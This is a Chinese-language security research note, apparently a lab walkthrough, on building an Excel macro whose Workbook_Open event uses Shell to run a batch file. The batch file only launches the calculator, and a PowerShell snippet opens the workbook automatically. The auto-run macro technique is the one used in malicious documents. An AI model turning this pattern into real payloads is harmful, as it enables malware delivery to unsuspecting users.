← 返回首页
EN
H7 / SECURITY RESEARCH NOTES终端与攻防技术

恶意宏通过Shell函数启动bat脚本执行命令

实操记录原文

环境说明

IPHOSTNAMENOTE
N/AWin10测试主机

相关脚本

内容下载
powershell脚本和bat脚本以及恶意宏文件点击下载

VBA

  • VBA是VisualBasic的一种宏语言，是执行通用自动化的编程语言，通过VBA可以实现各种Office软件操作的自动化。

创建恶意宏文件

  • 打开EXCEL，点击开发工具 -> 查看代码 -> 点击ThisWorkbook -> 写入VBA脚本 -> 如下图：

  • VBA代码如下：
Private Sub Workbook_Open()
Dim Path As String
'specific bat path
Path = "E:\TempProjects\test.bat"
Shell (Path)
End Sub
  • 然后将其保存为.xlsm后缀的文件：

  • test.bat代码如下，其功能为弹出计算器：
start calc.exe
  • 此时我们点击打开恶意宏文件，其自动调用test.bat脚本，如下图：

  • 编写powershell脚本实现自动化：
$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.open("E:\TempProjects\test.xlsm")